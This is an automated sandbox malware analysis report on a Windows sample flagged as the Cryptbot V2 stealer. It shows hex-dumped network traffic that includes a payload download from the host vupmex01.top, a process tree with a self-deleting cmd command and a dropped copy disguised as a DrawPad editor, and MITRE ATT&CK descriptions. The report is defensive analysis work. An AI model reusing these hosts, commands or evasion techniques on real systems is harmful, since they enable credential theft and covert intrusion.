Oct 18, 2022 13:28:03.903752089 CEST	138	OUT	Data Raw: 3f 12 a3 64 69 5e 03 98 dd 26 b1 4a d9 c1 d3 31 c3 8d f0 6a 49 57 9b 66 27 4a 36 37 77 33 1b 90 68 cf 94 cc 69 87 5e a6 64 51 46 71 3c 0b 00 c7 5a 2d fd 7c 3c d3 8f fa d9 d4 53 ee 50 63 9f e4 9d 0b 5f 2c 30 e7 0e 6d 8f 05 2f f2 68 bf b8 05 fc 8c Data Ascii: ?di^&J1jIWf'J67w3hi^dQFq<Z-\|<SPc_,0m/hUaAPH>ggP,HO0 ?,ke 2m)=U=Bv: 86.@@[I"\|Xy\o{CjsMgt?ayp/tA3M
Oct 18, 2022 13:28:04.400568008 CEST	989	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Tue, 18 Oct 2022 11:28:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49701	141.8.199.69	80	C:\Users\user\Desktop\1icHGAo2uY.exe

Timestamp	kBytes transferred	Direction	Data
Oct 18, 2022 13:28:04.762947083 CEST	990	OUT	GET /endyma.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Host: vupmex01.top Cache-Control: no-cache
Oct 18, 2022 13:28:04.902276993 CEST	991	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 18 Oct 2022 11:28:04 GMT Content-Length: 3048981 Connection: close Last-Modified: Sun, 16 Oct 2022 18:35:23 GMT ETag: "2e8615-5eb2b1f3659e8" Accept-Ranges: bytes Data Raw: 48 4e 70 4a 56 42 65 74 46 78 7f bb ae 88 30 09 9e 68 c5 3e aa 04 61 90 a3 b5 e4 9d 3f c0 47 3e d0 aa 43 18 90 30 20 40 07 ed b7 e8 ea ff 2f f4 ed df 5b 75 ba aa 88 1a 11 c2 12 44 05 42 46 b1 30 c1 05 c7 c5 63 2f d6 64 3e 0e b4 dd ad 5c ce 0c f9 e0 bc e0 f5 3c 05 c6 18 69 cc 06 7a 6c 8e fb 42 38 a3 74 ff bc 31 79 23 83 53 d4 ed af a3 79 ee 0b 83 3e fa d9 56 7a 08 7b cb 75 a7 12 10 d7 19 da 58 6b 30 54 e8 e8 c0 c8 c6 6b 14 5a ca 83 3b 83 41 57 b1 af cb 17 a5 d3 b2 1e 67 1b 33 ea 86 30 b2 aa 40 30 9c 8f a7 46 a3 77 08 f8 1e d9 02 b6 54 67 d4 6a 75 99 19 5f 96 43 c8 93 9a f8 92 9a b8 db 01 24 98 88 1b 6b f0 73 fb 8e 33 2c 35 db 25 b1 16 6e 2e 81 84 06 51 c4 75 31 94 24 1d 7b 21 bd ed 9a 7e 1c 1e 12 4d e3 09 66 89 57 54 3c c4 21 e4 46 56 6f f0 b7 a4 ae 89 cc 47 fe 4a dc fc fb 8a c2 49 cd 7e 37 39 25 c1 5f 4c ea 2e c9 c7 8e b0 14 00 5a df e5 f4 e5 54 a1 7d 59 68 1e 18 a6 f1 81 7b 8a 01 3c a0 5f 1c 09 a7 1d cc ee ac 27 b8 ee ad f0 71 ab 9a 2e 77 ce ec 73 68 e2 f6 81 ff 3e 39 1a c9 b1 d4 05 18 2f 33 cc 3c f5 32 4b 67 34 9a ad 19 99 85 37 00 6a 6c 60 e0 15 56 15 38 f4 8d e8 9c d5 d3 94 57 57 d2 0e dc fd 47 1c a9 e1 f6 0a ac 78 69 d9 9b 46 ba 69 b3 a9 84 e6 76 27 0a 02 a7 58 d9 64 19 c6 bf 9d 5d e6 f1 c0 ec 05 57 ca 87 c2 dd 1a 47 72 c7 b8 a9 03 c1 f8 fe 10 6e 77 5e f3 7a ee 0b 3b 67 2b 7f 9b 8f f3 e6 08 af 1b b0 60 3b a6 90 74 8c b4 8c 3c 0d be 48 75 68 75 40 81 22 27 fe 84 39 38 20 aa 2f fd 00 79 aa 48 03 0c 6e 30 ab f3 8b 19 5c f8 c3 16 81 5f cb 08 a4 db 89 bf a8 7c 84 29 74 42 ca 48 86 9b 3d 34 94 6c 6b c4 21 b8 d2 ae 6a d0 80 ed 23 9d 68 39 39 c2 45 0c bc a9 59 83 0e dd d3 64 1d 73 b1 d7 e5 b2 f4 f3 06 3b d9 28 1f ae 91 dc 3a da 61 0d 40 a5 a1 d0 9e d7 ef ab 1e af 89 27 d9 81 bc 05 26 0a 88 85 e5 d8 6c 23 c8 be 00 22 7f 0c 30 d1 d4 b4 ab e2 3d 38 52 ef 33 2d 3c a2 6d 49 68 e0 90 83 01 ed 2c b7 1d b5 d5 69 d1 02 b2 02 99 99 79 5d 59 a2 0e 2a d3 d9 44 8c cb aa 3c ee 5c 78 90 70 07 32 e9 69 eb 2f 84 1c 93 25 03 9f 1a 3c 21 9b 2b c1 88 a2 99 d6 ea 01 e5 e2 2e 8c 97 60 7f 9b 96 81 b0 ff 52 f8 03 02 2c 64 d6 01 83 c8 a1 24 8f 74 26 eb c7 9d 1b b6 25 d0 7f 7a 7c 68 1c cc 6a 32 7d 38 f3 22 f4 3a c3 8d 78 14 8b 1d e7 67 52 4d ed ea 45 2e 91 d1 7c 55 b1 03 12 05 1e ec 46 84 67 8e a9 21 86 26 5b 15 7f be 07 fb 9b 2d 05 74 12 90 1f 48 22 52 49 24 cc 99 5f 5d 8c 1e 3c ee b7 49 c2 ed 92 07 24 95 c0 1c d1 5c 3e 35 9f 40 c8 b6 38 3f 37 63 d2 4b db 61 9e 0a 4e 3b 03 f5 94 d9 7d 16 32 f4 9e c7 7b ea c1 1b 7e 8e be d9 80 dc ef 25 33 d7 c8 5a 71 8e ff 62 9c f9 cb 78 7b 59 90 07 30 53 db 62 08 97 0c 83 fa 5c 0f ac e8 8b d6 f0 c1 68 bd 3f 6f dd a0 37 01 b7 f2 72 a8 3e 90 09 d1 31 12 95 9c 31 b6 a6 cf 19 4d da cd bc 71 5d 86 01 39 3d 64 1d 0b 98 49 ee 6b 95 0e 01 1e f6 7e b9 5e d8 83 be 80 83 c7 b1 87 e3 8a 12 d9 75 d7 f4 5d 1c a3 e4 24 fe 0a 2f 5a 3b 6d d4 c5 ea bd ee 54 3a ed 5d 6f 3c 12 7b c2 c3 ba 31 f3 0c 65 0c 29 3f 60 5e 3c 82 90 88 7a f8 65 b2 2d 9c d0 16 90 b2 2c 77 6f ae 94 75 19 69 67 86 ce b1 96 74 72 9d 40 13 17 2a d8 1b b6 cf 81 c7 88 e1 b8 cf ca d1 17 5d 6e 79 b9 99 43 98 78 47 65 4b 11 b9 d8 38 97 06 73 06 c8 6f ec 85 b1 71 fe 2f 32 c8 83 22 ba 0e 46 6e 0b b0 d7 07 f1 b3 a4 b9 8a 37 25 23 cf 12 c5 b1 11 1d 2e 73 e5 a9 3a c9 68 4e 18 c3 1c 99 7a 12 69 Data Ascii: HNpJVBetFx0h>a?G>C0 @/[uDBF0c/d>\<izlB8t1y#Sy>Vz{uXk0TkZ;AWg30@0FwTgju_C$ks3,5%n.Qu1${!~MfWT<!FVoGJI~79%_L.ZT}Yh{<_'q.wsh>9/3<2Kg47jl`V8WWGxiFiv'Xd]WGrnw^z;g+`;t<Huhu@"'98 /yHn0\_\|)tBH=4lk!j#h99EYds;(:a@'&l#"0=8R3-<mIh,iy]YD<\xp2i/%<!+.`R,d$t&%z\|hj2}8":xgRME.\|UFg!&[-tH"RI$_]<I$\>5@8?7cKaN;}2{~%3Zqbx{Y0Sb\h?o7r>11Mq]9=dIk~^u]$/Z;mT:]o<{1e)?`^<ze-,wouigtr@]nyCxGeK8soq/2"Fn7%#.s:hNzi
Oct 18, 2022 13:28:04.902321100 CEST	992	IN	Data Raw: 1f 83 e6 0a 6f 7c fc d4 66 b8 da 96 26 09 86 bf 31 5b c1 74 6c 38 47 b3 c4 20 e3 15 b5 47 ec 8a e4 df 20 86 7b 59 25 24 16 bc db 29 02 b8 e2 a2 51 e9 bf d1 36 5c 56 d6 c9 96 65 44 38 e5 b7 95 40 6b dd 85 32 02 96 85 e5 c7 8d 2b 7f 36 2f 0d 4a 9b Data Ascii: o\|f&1[tl8G G {Y%$)Q6\VeD8@k2+6/J#_MH&RT^%->L7pt%:!D$K+xnZyqW-MG!M_Fnrz"w~f,Nql
Oct 18, 2022 13:28:04.902345896 CEST	994	IN	Data Raw: 66 a9 fd 8c 01 17 de ef 1c 80 08 da ea 11 ea de d7 a7 2d 50 93 31 d1 1a b5 14 df e1 5e 52 61 12 e7 a1 30 2c 6c e1 04 79 f8 e3 2f 1b 63 db d5 16 51 53 b4 4c b0 d1 8a 6a 7d 6c fa 61 b3 e5 1d 28 65 54 87 eb 0e 0a 50 35 67 f2 db d5 d7 78 13 55 98 6d Data Ascii: f-P1^Ra0,ly/cQSLj}la(eTP5gxUm;l<quGwhPwa>Lh3q9@-e"X3:c68NEp06QJ2}BRhdJb)ZM?+7DtZ8}[^t~=2
Oct 18, 2022 13:28:04.902368069 CEST	995	IN	Data Raw: e7 2b 0b a4 91 e9 f1 e6 2d 1b 5b 13 95 a2 77 12 00 32 60 9d fd ed 82 3f 38 3a 71 d4 00 81 76 45 42 70 36 df 3c 73 c3 05 ed 55 59 62 17 86 d5 6c 0c 78 14 cd 0a bf ac 93 a5 a0 f7 bd 90 7f 38 95 4c 3b 15 34 07 a6 0d e8 08 63 6c 23 51 89 1d ae 7e 32 Data Ascii: +-[w2`?8:qvEBp6<sUYblx8L;4cl#Q~2C=@iY@o4id\|K}YR*re3sJ/T=M?j&:`AlysaV>RZ)TT%yN'-tKIZ%%_
Oct 18, 2022 13:28:04.902385950 CEST	996	IN	Data Raw: 86 34 56 ba 33 1d 93 5e 48 9a f3 06 3c 3e 83 8c e6 f9 a1 4a 70 66 7b 6c 1b a7 05 fa 65 fa aa 3c 46 ff fa 77 5b 11 78 18 6f 54 11 e2 dd 65 98 76 39 cb bd 55 5e 22 52 00 7f 44 6a 7b 8f 9a e0 50 b5 22 03 97 e9 92 bc 5e 3d aa d6 83 42 c8 67 1a 14 eb Data Ascii: 4V3^H<>Jpf{le<Fw[xoTev9U^"RDj{P"^=Bg:Iq9I,:z(IS-Y")jXjC`0aFHgsc6Zx~bU&}d&LK_;['X(dhnJAK-C_
Oct 18, 2022 13:28:04.902404070 CEST	997	IN	Data Raw: f5 57 86 e0 85 52 e0 77 82 4f 31 7d 32 be 83 6b ac 48 c7 4d a3 6e 62 4f d8 fb c3 96 b9 89 67 73 5d 59 a5 4b 6a 35 9f 5d b1 23 2f db c6 67 67 ed ac c3 a0 bf fa 43 9f 42 89 f9 dd c7 2e 28 9b ee 5c 8f 2f 59 11 f2 f4 14 b2 b9 b5 83 92 17 82 f9 dd 53 Data Ascii: WRwO1}2kHMnbOgs]YKj5]#/ggCB.(\/YSo:Idalew-NB}0?0zYy[(WGYc?O}J9E=\|{W'RM/_2(f?afDO.*O&Hn6]MO0WXNvf$;Wb8oQDw
Oct 18, 2022 13:28:04.902426004 CEST	999	IN	Data Raw: 75 46 fd e8 89 13 52 c8 fa 26 0c 5f 7d 10 c8 64 cb 3c c3 e1 ea ec cf 7b 03 7a 1e 05 74 51 37 4d b8 0e 9e 20 57 84 3a 17 a5 35 d6 5b 07 05 2c e2 9d 98 dc cf 56 bb 84 c1 a7 d4 f8 4b 9d d2 c7 46 9a 7e 70 54 a6 9a c8 4a dc 28 b2 41 9d 2d 93 44 2c 88 Data Ascii: uFR&_}d<{ztQ7M W:5[,VKF~pTJ(A-D,d9uU#ZNJB]"chh#,@PY3{B6Y2>a(@HZBvC\68kUWCeCc-5AxT]4<8@/;?C
Oct 18, 2022 13:28:04.902451992 CEST	1000	IN	Data Raw: 24 88 c5 0b 3c 52 32 5b d3 92 38 35 ae cb 89 96 99 2d 20 9d bc 79 9f 3f b7 fc 1a 2c 4d 9a 9d e6 29 87 3c 19 0e c9 58 d2 05 4c fa 55 26 18 ce a8 5f 0a 85 4a 02 a3 8d 16 79 e2 b3 91 c1 63 fe 17 29 9a dc 20 5c 18 54 c8 d7 84 82 15 6e 8a 3b b3 9d 4c Data Ascii: $<R2[85- y?,M)<XLU&_Jyc) \Tn;LY3-MKld-Dk~lKz\kHifuJQ[7P[RK*g}gAro&\8TFC/ysHxoqZZ{i.`\|JU:a!
Oct 18, 2022 13:28:04.902473927 CEST	1001	IN	Data Raw: 2b f3 4d 70 e5 58 24 cb ae 21 54 c3 99 8b af 9e b5 79 db 4f ab 15 5a 7a c3 3c 73 ed 00 e3 25 db 9c 18 15 0a ef d8 01 40 09 d8 bc 2a f6 c1 89 3e 45 80 7b b0 88 76 7f d1 d1 32 58 4f ff bb 8f 22 a7 19 74 bc 34 b6 83 93 2b b0 d9 13 74 e1 10 ef 75 26 Data Ascii: +MpX$!TyOZz<s%@*>E{v2XO"t4+tu&Q>#vf\|$CUT'j1un}rd?i]2{YMs6:uY\|j0~~/tV.#yJiA-j=>XmNmF\2^)[xj
Oct 18, 2022 13:28:04.902497053 CEST	1003	IN	Data Raw: c3 13 d9 aa d4 1a 04 58 a2 4f 17 d3 91 db 36 ea 30 73 73 49 a9 e7 81 71 84 55 e3 e2 0e a2 0f f1 41 0c 05 ec 1a f8 a7 5a 53 c2 ee 66 8c 9c a1 f2 34 a8 4a b6 38 e8 71 fb 43 a8 28 17 c1 fe 91 e6 c4 34 64 e3 bb 60 1c 62 99 91 f7 b5 a6 23 00 7c ba dc Data Ascii: XO60ssIqUAZSf4J8qC(4d`b#\|(d#tkxBmgo(m`.L" w2uK]b*bF~>OPZ$3t/8WVHR2u3zq+;D/^/AYfvq"
Oct 18, 2022 13:28:05.096378088 CEST	1004	IN	Data Raw: 01 fc fc 28 48 76 9b 3f f1 51 3d c4 04 7e 1d 5a 6d 8a 6e 45 95 f2 40 e9 75 70 5f 7c 8e aa 4e 2f d9 d6 cd d4 17 25 c0 ec 32 3f b2 fd 07 99 d5 49 45 96 55 4c c2 34 11 14 d4 28 c7 36 b6 bd 51 1d c4 db f5 60 a4 6d 08 46 85 ca dc 0a a4 51 3c 43 46 97 Data Ascii: (Hv?Q=~ZmnE@up_\|N/%2?IEUL4(6Q`mFQ<CF=..dbpl}9~.5(aKSvp7%it92>xEO`v$;':!Evx_<)O`rSC!W8Gq5pdD>xpDe-D';h\,8$L%)tm/?

Target ID:	0
Start time:	13:27:50
Start date:	18/10/2022
Path:	C:\Users\user\Desktop\1icHGAo2uY.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\1icHGAo2uY.exe
Imagebase:	0x940000
File size:	3613696 bytes
MD5 hash:	9FDC2FEB79C86790BEE69E140ED9B1B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CryptbotV2, Description: Yara detected CryptbotV2, Source: 00000000.00000002.298813798.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CryptbotV2, Description: Yara detected CryptbotV2, Source: 00000000.00000002.300019054.000000000165A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	13:28:14
Start date:	18/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	5
Start time:	13:28:14
Start date:	18/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	13:28:14
Start date:	18/10/2022
Path:	C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\521DAFDF9C07DA0F\endyma.exe
Imagebase:	0xa70000
File size:	3048960 bytes
MD5 hash:	C5AF489798080EF09451F8CC09E1C5E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	11
Start time:	13:28:17
Start date:	18/10/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\cmd.exe" /c timeout -t 5 && del "C:\Users\user\Desktop\1icHGAo2uY.exe
Imagebase:	0xa60000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	13:28:17
Start date:	18/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	13
Start time:	13:28:17
Start date:	18/10/2022
Path:	C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\NCH Software\DrawPad\DpEditor.exe
Imagebase:	0x110000
File size:	3048960 bytes
MD5 hash:	C5AF489798080EF09451F8CC09E1C5E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	14
Start time:	13:28:18
Start date:	18/10/2022
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout -t 5
Imagebase:	0x1350000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33.3%
Total number of Nodes:	9
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00941088 Relevance: 1.5, APIs: 1, Instructions: 26
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000040), ref: 009410B3

Memory Dump Source

Source File: 00000000.00000002.297237118.0000000000941000.00000020.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.297225186.0000000000940000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298609251.0000000000CA7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298618543.0000000000CA9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_1icHGAo2uY.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 98335761d9007302f4994cb4861aaf9ddc6411b249151837881a917a20a9f67a
Instruction ID: 8607af453b240d50f23542ed31ccb2e4ce9bcf2232a9e340e99066bbd714e4af
Opcode Fuzzy Hash: 98335761d9007302f4994cb4861aaf9ddc6411b249151837881a917a20a9f67a
Instruction Fuzzy Hash: 61E09271B10208BBEB0CD7E5CC16FAEB7ACDB88310F10425CB111A61C0EAB56E408360

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1icHGAo2uY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Cryptbot V2

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\47E8.tmp

C:\Users\user\AppData\Local\Temp\48A5.tmp

C:\Users\user\AppData\Local\Temp\4A3C.tmp

C:\Users\user\AppData\Local\Temp\4B08.tmp

C:\Users\user\AppData\Local\Temp\4B96.tmp

C:\Users\user\AppData\Local\Temp\4C33.tmp

C:\Users\user\AppData\Local\Temp\4CD0.tmp

C:\Users\user\AppData\Local\Temp\4D5E.tmp

C:\Users\user\AppData\Local\Temp\4D8E.tmp

C:\Users\user\AppData\Local\Temp\4E89.tmp

C:\Users\user\AppData\Local\Temp\4F55.tmp

C:\Users\user\AppData\Local\Temp\5050.tmp

C:\Users\user\AppData\Local\Temp\517A.tmp

C:\Users\user\AppData\Local\Temp\52B3.tmp

C:\Users\user\AppData\Local\Temp\52E3.tmp

C:\Users\user\AppData\Local\Temp\52E4.tmp

C:\Users\user\AppData\Local\Temp\5343.tmp

Windows Analysis Report
1icHGAo2uY.exe